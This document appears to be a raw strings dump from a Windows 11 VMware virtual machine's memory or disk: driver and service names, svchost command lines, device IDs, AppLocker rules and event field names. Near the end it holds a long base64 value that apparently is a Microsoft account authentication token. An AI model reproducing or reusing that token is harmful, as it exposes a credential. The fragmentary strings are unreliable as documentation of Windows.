\ObjectTypes\UserApcReserve \ObjectTypes\IoCompletionReserve \ObjectTypes\ActivityReference \ObjectTypes\ProcessStateChange \ObjectTypes\ThreadStateChange \ObjectTypes\CpuPartition \ObjectTypes\SchedulerSharedData \ObjectTypes\PsSiloContextPaged \ObjectTypes\PsSiloContextNonPaged \ObjectTypes\DebugObject \ObjectTypes\Event \ObjectTypes\Mutant \ObjectTypes\Callback \ObjectTypes\Semaphore \ObjectTypes\Timer \ObjectTypes\IRTimer \ObjectTypes\Profile \ObjectTypes\KeyedEvent \ObjectTypes\WindowStation \ObjectTypes\Desktop \ObjectTypes\Composition \ObjectTypes\RawInputManager \ObjectTypes\CoreMessaging \ObjectTypes\ActivationObject \ObjectTypes\TpWorkerFactory \ObjectTypes\Adapter \ObjectTypes\Controller \ObjectTypes\Device \ObjectTypes\Driver \ObjectTypes\IoCompletion \ObjectTypes\WaitCompletionPacket \ObjectTypes\File \ObjectTypes\IoRing \ObjectTypes\TmTm \ObjectTypes\TmTx \ObjectTypes\TmRm \ObjectTypes\TmEn \ObjectTypes\ALPC Port \ObjectTypes\Section \ObjectTypes\Key \ObjectTypes\RegistryTransaction \ObjectTypes\DmaAdapter \ObjectTypes\EnergyTracker \ObjectTypes\PowerRequest \ObjectTypes\WmiGuid \ObjectTypes\EtwRegistration \ObjectTypes\EtwSessionDemuxEntry \ObjectTypes\EtwConsumer \ObjectTypes\CoverageSampler' \FileSystem\Ntfs AES-GMAC SHA1 vmmouse USBHUB3 ws2ifsl swenum Dfsc dam.sys rdpbus ahcache afunix ksthunk NetBt NetBT usbhub volume fvevol iorate Npfs Vid.sys usbuhci vm3dmp nvme0 NdisCap UCPD usbehci disk Netbios NetBIOS umbus Msfs cdrom Null WFPLWFS akeOn kdnic CimFS rdbss CmBatt volsnap Psched USBXHCI TCPIP6TUNNEL TCPIPTUNNEL dump_stornvme.sys \Driver\nvmedisk VMWare NVME_0000 VMWare NVME_0000 VMWare NVME_0000 \Driver\rdyboost dump_storport.sys nvme0 \Device\HarddiskVolume3 VMWare NVME_0000 AES-GMAC WFP vSwitch Layers LightWeight Filter{E7C3B2F0-F3C5-48DF-AF2B-10FED6D72E7A}wfplwfs WFP Native MAC Layer LightWeight Filter{3BFD7820-D65C-4C1B-9FEA-983A019639EA}wfplwfs WFP 802.3 MAC Layer LightWeight Filter{B70D6460-3635-4D42-B866-B8AB1A24454C}wfplwfs 3DES SHA256 SHA256 SHA256 SP800_108_CTR_HMAC Unsupported ECDSA_P256 CsvVolume TSA://ProcUnique SHA256 SHA256 SHA256 SHA256 VEN_MSFT&DEV_4100&SUBDEV_0005&REV_0001&UID_00000000 NST_iiii&UID_uuuuuuu ms_medium_converter_bottom SHA256 46000npsvctrig WdFilter cause an OS Extension is missing or contains errors. After multiple tries, the operating system on your PC failed to start, so it needs to

Standby VMWare NVME_0000 HighDrain Game Mode Screen Off VMWare NVME_0000 meta EcoQos Standby BitLocker \??\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_0#{97fadb10-4e33-40ae-359c-8bef029dbdd0} \;Csc \??\ACPI#GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P#_1#{97fadb10-4e33-40ae-359c-8bef029dbdd0} nistP256 ECDSA_P256 Microsoft Primitive Provider KeyLength cng.sys ENTER=C XXXXRGBX SustainedPerf MultimediaQos LowLatency ScreenOff EcoQos UtilityQos LowPower Standby EntryLevelPerf HighDrain Background GameMode Constrained C:\WINDOWS\SYSTEM32\psmserviceexthost.dll C:\WINDOWS\SYSTEM32\bisrv.dll TCPIP6TUNNEL Windows\Win bg-BG boot.pnd.stl dll~ kd_0C_8086.dll zh-TW ms_switch_filter VMware Virtual NVMe Disk SHA256 ms_firewall_upper SHA1 3DES VMware Virtual NVMe Disk AES-GMAC wlidsvc wlidsvc C:\WINDOWS\system32\svchost.exe -k netsvcs -p wlidsvc None None Null wlidsvc C:\WINDOWS\system32\svchost.exe -k netsvcs -p Null BITS BITS C:\WINDOWS\system32\svchost.exe -k netsvcs -p BITS None None Null PrelaunchAtLogon \REz SSO1 Null Drir SSDPSRV SSDPSRV None None Null SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p DesktopApiSurface SSO1 SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p lfsvc None None Null lfsvc C:\WINDOWS\system32\svchost.exe -k netsvcsRedirectionGuard -p WaitForDesktopVisuals SignalDesktopSwitch TermSrv TermSrv TermSrv TermSrv FinalTasks Null VENr midisrv midisrv C:\WINDOWS\system32\midisrv.exe SWD\MIDISRV\MIDIU_DIAG_TRANSPORTInt SWD\MIDISRV\MIDIU_DIAG_TRANSPORT !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A SWD\MIDISRV\MIDIU_DIAG_PING SWD\MIDISRV\MIDIU_DIAG_PING BITS C:\WINDOWS\system32\svchost.exe -k netsvcs -p wmiApSrv C:\WINDOWS\system32\wbem\WmiApSrv.exe wmiApSrv C:\WINDOWS\system32\wbem\WmiApSrv.exe wmiApSrv None None 000Z Null midisrv C:\WINDOWS\system32\midisrv.exe WinDefend "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe" WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe" WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe" WdNisSvc None None Null WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe" Null BDESVC BDESVC C:\WINDOWS\system32\svchost.exe -k netsvcs -p BDESVC None None Null Software\Microsoft\Windows\CurrentVersion\Run SecurityHealthSystray.exe Null SecurityHealthService SecurityHealthService None None Null SecurityHealthService C:\WINDOWS\system32\SecurityHealthService.exe OneDrive.exe" /background Software\Microsoft\Windows\CurrentVersion\Run DesktopStartupApps ExplorerSettingsMonitor ExplorerSettingsMonitor Finalize =PCI\VEN_15AD&DEV_1977&SUBSYS_197715AD&REV_09\4&bbf9765&0&0888 =PCI\VEN_15AD&DEV_1977&SUBSYS_197715AD&REV_09\4&bbf9765&0&0888 HdAudAddService ?\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HdAudAddService ?\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HdAudAddService HdAudAddService \Driver\HdAudAddService ksthunk 7\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ksthunk 7\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ksthunk ksthunk \Driver\ksthunk >PCI\VEN_15AD&DEV_077A&SUBSYS_077A15AD&REV_00\4&1ee266c4&0&00B0 >PCI\VEN_15AD&DEV_077A&SUBSYS_077A15AD&REV_00\4&1ee266c4&0&00B0 USBHUB3 7\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\USBHUB3 7\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\USBHUB3 USBHUB3 \Driver\USBHUB3 USB\ROOT_HUB\5&2891968b&0 USB\ROOT_HUB\5&2891968b&0 USB\ROOT_HUB\5&2891968b&0 USB\ROOT_HUB\5&2891968b&0 LHDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 LHDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\5&217be3d6&0&0001 USB\ROOT_HUB20\5&36a4b5d6&0 USB\ROOT_HUB20\5&36a4b5d6&0 \Ntfs\FileSystem\Ntfs\Device\HarddiskVolume3\??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} $$#$ :Software Loopback Interface 1 6Loopback Pseudo-Interface 1 ,Microsoft 6to4 Adapter 6to4 Adapter (WAN Miniport (PPPOE) 0Local Area Connection* 5 FMicrosoft IP-HTTPS Platform Adapter FMicrosoft IP-HTTPS Platform Adapter JMicrosoft IP-HTTPS Platform Interface LMicrosoft Kernel Debug Network Adapter Npfs.SYS LMicrosoft Kernel Debug Network Adapter 4Ethernet (Kernel Debugger) &WAN Miniport (SSTP) &WAN Miniport (SSTP) 0Local Area Connection* 1 afunix.sys "WAN Miniport (IP) "WAN Miniport (IP) 0Local Area Connection* 6 BasicDisplay.sys DMicrosoft Teredo Tunneling Adapter BTeredo Tunneling Pseudo-Interface &WAN Miniport (L2TP) &WAN Miniport (L2TP) 0Local Area Connection* 3 &WAN Miniport (IPv6) &WAN Miniport (IPv6) 0Local Area Connection* 7 (WAN Miniport (IKEv2) (WAN Miniport (IKEv2) 0Local Area Connection* 2 TIntel(R) 82574L Gigabit Network Connection TIntel(R) 82574L Gigabit Network Connection Ethernet0 &WAN Miniport (PPTP) &WAN Miniport (PPTP) 0Local Area Connection* 4 ?@ABCDEFG \Windows\System32\drivers\filecrypt.sysMicrosoft WindowsMicrosoft Windows Production PCA 2011 \Windows\System32\drivers\tbs.sysMicrosoft WindowsMicrosoft Windows Production PCA 2011 \Windows\System32\drivers\UCPD.sysMicrosoft WindowsMicrosoft Windows Production PCA 2011 \Windows\System32\drivers\npfs.sysMicrosoft WindowsMicrosoft Windows Production PCA 2011 Msfs.SYS Vid.sys \Device\NamedPipe\FileSystem\Npfs\Device\NamedPipe *\bssafe.exe *\mshta.exe 385250.5UCPD - Top Instance 40500FileInfo 40700Wof Instance NTFS (@h@ ( H 2<=?@ ABCDEFGHIJKMLONQPRS TUVWZXY []\^_a`cbedgfihkjlmnopqrstuvxwzy|{~} \SystemRoot\System32\Config\TxR\{2ad83874-efea-11ee-a54d-000d3a94eaa1}.TM SubC "Microsoft Window jjjj VMware Virtual USB Mouse 150000bfs wtd.sys 265000def &WAN Miniport (SSTP) 000b.0000.0000.005.000.000.000.000.000 CHIN l\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HidUsb USB\VID_0E0F&PID_0003&MI_00\7&bcbfcc2&0&0000 USB Input Device HidUsb \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HidUsb cldflt.sys USB\VID_0E0F&PID_0003&MI_01\7&bcbfcc2&0&0001 USB Input Device HidUsb \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HidUsb #$"#$#" USB\VID_0E0F&PID_0003&MI_00\7&bcbfcc2&0&0000 HID\VID_0E0F&PID_0003&MI_00\8&217ccb29&0&0000 HID\VID_0E0F&PID_0003&MI_01\8&34ace767&0&0000 USB\VID_0E0F&PID_0003&MI_01\7&bcbfcc2&0&0001 USB\VID_0E0F&PID_0003&MI_00\7&bcbfcc2&0&0000 USB\VID_0E0F&PID_0003&MI_01\7&bcbfcc2&0&0001 USB\VID_0E0F&PID_0003&MI_01\7&bcbfcc2&0&0001 DISPLAY\Default_Monitor\4&427137e&0&UID0 luafv.sys applockerfltr.sys NDOWS\TEMP USERNAME=SYSTEM windir=C:\WINDOWS 328010WdFilter Instance Windows\System32\lsass.exe 40700Wof Instance ute UnionFS.sys lltdio.sys \device\harddiskvolume3\windows\system32\winlogon.exe Ndu.sys 40700Wof Instance \UdfsCdRom\FileSystem\udfs\Device\CdRom0\??\Volume{67e8be4f-0ec0-11f1-b1f7-806e6f6e6963} 328010WdFilter Instance fastfat.SYS dxgmms1.sys dump_storport.sys \FatCdrom\FileSystem\fastfat \Fat\FileSystem\fastfat\Device\HarddiskVolume1\??\Volume{09356ede-049e-47ae-a633-d74a19c1028b} 385250.5UCPD - Top Instance HID_DEVICE_UP:%04x_U udfs.sys FullPowerDownOnTransientDx TestIdleMonitorDim Sleepstudy Unsupported RtlQueryModuleInformation TELASSERT NumLargeEventFailures NumAllocationFailures SummaryCount MaxEntriesFlushed TotalEntriesFlushed NumBucketLimitReached MinEntriesFlushed MaxEntriesStored NumFlushes \Device\HarddiskVolume3\Windows\System32\csrss.exe \Device\HarddiskVolume3\Windows\System32\winlogon.exe \Device\HarddiskVolume4\$Extend\$RmMetadata\$TxfLog\$TxfLog8`8 \Device\HarddiskVolume3\Windows\System32\lsass.exe \Device\HarddiskVolume3\Windows\System32\services.exe \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\wininit.exe \Device\HarddiskVolume3\Windows\System32\csrss.exe resp( This is the Analytic channel to which internal Analytic events from the HIDCLASS driver are sent. Start Rundown vmtoolsd.exe vmtoolsd.exe" -n vmusr Software\Microsoft\Windows\CurrentVersion\Run Software\Microsoft\Windows\CurrentVersion\Run OneDrive.exe" /background OneDrive.exe Software\Microsoft\Windows\CurrentVersion\RunOnce Software\Microsoft\Windows\CurrentVersion\RunOnce Finalize sppsvc C:\WINDOWS\system32\sppsvc.exe sppsvc =\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\applockerfltr =\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\applockerfltr applockerfltr \Driver\applockerfltr Null netprofm DispBrokerDesktopSvc C:\WINDOWS\system32\svchost.exe -k LocalService -p UserManager C:\WINDOWS\system32\svchost.exe -k netsvcs -p netprofm C:\WINDOWS\System32\svchost.exe -k netprofm -p netprofm C:\WINDOWS\System32\svchost.exe -k netprofm -p netprofm None None netprofm C:\WINDOWS\System32\svchost.exe -k netprofm -p Null WPDBusEnum FSFilter Virtualization luafv 5\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\luafv 5\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wcifs wcifs \FileSystem\wcifs 5\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\luafv luafv \FileSystem\luafv FSFilter Virtualization FSFilter HSM CldFlt 6\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\CldFlt WPDBusEnum C:\WINDOWS\system32\svchost.exe -k LocalSystemNetworkRestricted WPDBusEnum C:\WINDOWS\system32\svchost.exe -k LocalSystemNetworkRestricted SessionEnv SessionEnv AudioGroup AudioEndpointBuilder Profiles SENS C:\WINDOWS\system32\svchost.exe -k netsvcsRedirectionGuard -p NcbService C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p Dhcp C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p Null StateRepository WinHttpAutoProxySvc None None Null StateRepository None None Null StateRepository C:\WINDOWS\system32\svchost.exe -k appmodel -p AudioEndpointBuilder C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p Audiosrv Audiosrv C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p Audiosrv C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p Audiosrv AudioGroup None AudioGroup DSWD\MMDEVAPI\{0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} DSWD\MMDEVAPI\{0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} NDIS NDIS NDIS NDIS NDIS Wcmsvc C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc Wcmsvc C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc Wcmsvc None DusmSvc C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc DusmSvc C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc Wcmsvc C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc &SWD\MMDEVAPI\MicrosoftGSWavetableSynth &SWD\MMDEVAPI\MicrosoftGSWavetableSynth Wcmsvc C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc Wcmsvc C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc Wcmsvc C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc Wcmsvc C:\WINDOWS\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc \??\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} SleepStudyTraceSession 40700Wof Instance 328010WdFilter Instance monitor.sys cdd.dll e\HarddiskVolume4 \Ntfs\FileSystem\Ntfs\Device\HarddiskVolume4\??\Volume{2c52164b-7236-4dab-9765-ea560d4f9526} 385250.5UCPD - Top Instance condrv.sys NTFS (8`8 $I30 $I30 {1fd216eb-201e-4b4d-93ca-41f33 t\Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy runtimebroker07f4358a809ac99a64a67c1 MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!runtimebroker07f4358a809ac99a64a67c1 `C:\Windows\System32\RuntimeBroker.exe -Embedding \UdfsCdRom\FileSystem\udfs win32kbase.sys 40700Wof Instance 150000bfs ce\HarddiskVolume3 150000bfs 150000bfs 150000bfs 265000def 265000def 150000bfs N=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShe rspndr.sys CldFlt storqosflt CldFlt ddis rddisk \Volume{09356e 8b}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01#5&260e6d66&0&010000#{53f5630d-b6bf-11d0-94f2-00a0c91 ume{ sk0\DR0 ws\S FC79235}.{D1CEA2F0-B3ED-49C6-A522-26898D4AE0D1}.crmlog ( H ache_256.db ( H ( H "true= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\FILEMANAGER\*",0}))))FileManager, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1902D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT CORPORATION, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.MICROSOFTEDGE\*",0}))))Microsoft.MicrosoftEdge, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1903D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.CONTENTDELIVERYMANAGER\*",0}))))Microsoft.Windows.ContentDeliveryManager, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1904D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\WINDOWS.CONTACTSUPPORT\*",0}))))Windows.ContactSupport, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1905D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.ASSIGNEDACCESSLOCKAPP\*",0}))))Microsoft.Windows.AssignedAccessLockApp, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1907D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.PARENTALCONTROLS\*",0}))))Microsoft.Windows.ParentalControls, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1900D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.MOCAMERA\*",0}))))Microsoft.MoCamera, from Microsoft CorporationApplocker Private\LowBox ACE(A;;FX;;;S-1-15-2-1)LowBox ACEfd686d83-a829-4351-8ff4-27c7de5755d2D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\*\*",0}))))(Default Rule) All signed packaged apps WDAG://RestrictInternetAccess EDP://EvaluationFlags EDP://ExemptEnterpriseIds EDP://EnterpriseIds EDP://PolicyFlags PEDP://IntentEnterpriseId \security\EDP\Logs\AuditTCB.meta BE235AAC-AC9D-4DDC-9FA6-D4C37AF837B7 \security\EDP\Logs\AuditTCB_%d.etl \security\EDP\Logs\AppLearning.meta \security\EDP\Logs\AuditRegular_%d.etl \security\EDP\Logs\AuditRegular.meta F589D420-8B9A-40A2-95A8-DBB27ED17997 \security\EDP\Logs\AppLearning_%d.etl D425B399-4B71-4151-8DAF-413F92A75EC3 \DosDevices\ %02x TSA://ProcUnique PEDP://InhAppUnique PEDP://InhProcUnique EDPENLIGHTENEDAPPINFOID MICROSOFTEDPENLIGHTENEDAPPINFO EDPPERMISSIVEAPPINFOID MICROSOFTEDPPERMISSIVEAPPINFO EDPAUTOPROTECTIONALLOWEDAPPINFOID MICROSOFTEDPAUTOPROTECTIONALLOWEDAPPINFO AUTOPROTECTIONALLOWEDAPPINFOID @@@@@@@ DiskWiperMonitor sAut rans \FileSystem\bowser Playback Pro Audio \FileSystem\mrxsmb \FileSystem\mrxsmb20 \FileSystem\vmhgfs LanmanWorkStation pool-spawner NetworkPrivacyPolicy.sys \;LanmanRedirector VS_VERSION_INFO \;LanmanRedirector \;LanmanRedirector \;MailslotRedirector SWD\MMDEVAPI\{0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} SWD\MMDEVAPI\{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bowser\Parameters {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} :\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\syst l prolong the "tooManyNeighbors" state.%nExisting Neighbor ID: %3%nRecived Neighbor ID: %5 Insufficient system reso Data Name DestinationPort Data Name Protocol Data Name ReferenceContext Name PacketPayloadLength Data Name PacketPayload IfIn VS_VERSION_INFO \ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\syste HTTP.sys Windows\System32\svchost.exe C:\WINDOWS\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc ort (SSTP) MPSSVC Stores filter origin Quarantine Default MPSSVC Stores filter origin Quarantine Default MPSSVC Stores filter origin Quarantine Default MPSSVC Stores filter origin Quarantine Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Quarantine Default Data Name HitCountInitialized Data Name ReadRWorker FinalizeWorkerHitCount HitCountFinalizeWorkerHitCount EventData UM_MEMORY_SENSOR UM_MEMORY_SENSOR WS_MEMORY_SENSOR WS_MEMORY_SENSOR EVT_HTTP_ERROR MdCommonRawMetric Windows\System32\svchost.exe C:\WINDOWS\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p 994ad04 22233222 Distribution Window Manager AES-CMAC \SystemRoot\System32\LogFiles\HTTPERR WINDOWS11 &'()*+,-./0123456789:; @ABCDEFGHIJKLMNOPQRSTUVWXYZ[ ]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ BEC- SHA256 AES-CMAC SHA256 Windows\System32\svchost.exe hC:\WINDOWS\System32\svchost.exe -k NetworkService -p h\Device\HarddiskVolume3\Windows\System32\conhost.exe mrxsmb20.sys \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe \DEVICE\TCPIP_{e33fa66e-dbec-40a2-8aa4-e7c085f48539} 0Local Area Connection* 7 6to4 Adapter LMicrosoft Kernel Debug Network Adapter &WAN Miniport (IPv6) &WAN Miniport (SSTP) LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter 0Local Area Connection* 1 AES-GMAC (IPv6) Windows\System32\ClipRenew.exe Shell\Modules;C:\WINDOWS\system32\Window mrxsmb.sys SP800_108_CTR_HMAC \Device\LanmanRedirector \Device\MailslotRedirector ce\HarddiskVolume3 s%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShe IC=C t=EwC4A5peBAAUci6v6TP56Gnaebzp791d4HzcpIsAAZc70DueFHbJUmUPhRO11c26449DB18zL9tI4OUoc47IckMBhcWZBF+e70WILm0N/eJY2w4q+ebUcUqSJ+gfA3YfPa7g1gVB4AZsuqu6LF54nfBKtDs/OE4fpyuLBrWIeC3ocP2fbRW2PRe9Gya+BMKAyexPd+bxHu9J3Lh0b6/hfoZWcEN+N/OfXYHtYfS6SzVmvhRpptSUgQbTnPjUC3BzIAHkdiCmeX2wtOBg2i7NEfM2sO05M5t55H70ZX2lJ/yBZIrWamQzyURcSuj7zetzdWbA9NX0swDk57OgSsM9XTOol1l6/Jc/oTtFXFygIrTzLo36jENKlobys7b3V3UQZgAAEFLfYMTXMIz07jotHZBLP4aAAj1NuAS4NEA3X3bM9wG9/UwfF4dWJpl0Np4tKl2Zpqd/gme0Da8ZVkmUzE2dg5f3Fiuu5ngzl90rUIz6T2XeCGxkm0Tp8e9P4t9EkqjlZDiHuuPf7ofPKAoRpazr5tX7IBZWaZ+BY0lGDaKnsk4j6LvDNXOwj232tAGyFjtoej6e6Z/6ZoyBE1Z2Abz3DydtT9VqlZ+j1WCtYyGFa1HdsZJEYEpKjQ7PZPaqYbmOiKqqyczEe4LNAStrLM8Q437h4arNyQW93PuE+CzLZIYsnw/qzf7TvSYD3VgXXGLasFJEd5RLIdv6euheKSPRlItVwIU3BqI7u7dBKP3PTfVA9CkRuHPEEicLAgbwMMalEX0qGsqhI959FLLr53iGVJX937nTKAlyKXyZTbVZvWyhDOLz0mQCj/MOyFm5AOgTS36qNS0bZVNo4La16yodlmyZF8fHiz0sTyvaU0rukOxLWwzHnfgLaxzhcy928y7zopoDCoXf7TtjvSpd4Bj3laLv5jQoj6xFl//1LmuW/5Vt++ITdx8tsZ+SO21Mw/TCmlZ90puLY8rjigQIMSJt9JGTxB8cwzn+z+WntnYWaDHL7u550LiZzt0T0nZyscUxs4NOd25XnJp/GJ7KA+dGyjRbmUn1Bjdg1UdhSA2+7ZIE9PPQpPj6lzwg9E73Bfzz9oCn+wzeWELfu/MAxUwNQYY6aMWnIb9KROunAtJM8cRwkI6qGxoeUNWmFOL0gV+7iah7oT58MSFZ4JhLkNJmePYj2xAKGJAqluZJIyuP4sdOjBTivC554zBaF7XPBYeHSY6IhFja4K9boaWkxYurmPSwjoU7TVrcVoLaty4yR+EOEaCzAg==&p= https://ads.arcct.msn.com MBI_SSL \Device\Tcpip6_{93123211-9629-4E04-82F0-EA2E4F221468} \Device\Tcpip6_{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\Tcpip6_{07374750-E68B-490E-9330-9FD785CD71B6} \Device\Tcpip6_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\Tcpip_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} TSA://ProcUnique Name HitCountCompleteIRP Data Name PostIOCompletion Data tion DispatchProcessing HitCountDispatchProcessing Name HitCountCompleteIRP Data Name Name HitCountLowIoCompletionRoutine Data Name CompleteIRP \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe (@h@ StateRepository-Ma hine.srd-shm ( H (8`8 (8`8 > NduHandleFragmentReceived <== Ran out of memory at: NduPerProcByteCountLimitNo okenReleaseAppContext ==> NduTokenRegisterQuotaExceede Routine ==> NduCreateUpdateProcessEnergyWorker Ran out \??\C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Code Cache\js\index-dir\the-real-index~RF1362e.TMP Direction:%3 IfLuid:%4 IfType:%5 BytesSent:%6 BytesRecvd:%7 %1: VirtualIfLuid:%2 OuterProcessId:%3 IfAlias:%4 Wake count updated IfLuid:%1 Flow Id:%2 (0 means interface) Wake EventData Data Name _ExePath Data Name _SvcTag Data Name _PkgName Data Name _UserId Data Name _Cookie _SessionId EventData Data Name CurrentProcNumber Data Name PartitionId Data Name Direction Data Name ERN_V1 CompressionAlgorithmSuiteOrder XPRESS XPRESS_HUFF LZNT1 NullSessionPipes NullSessionShares samr browser srvsvc 0Local Area Connection soft Kernel Debug Network Adapter SMB 2.0 Provider(0) 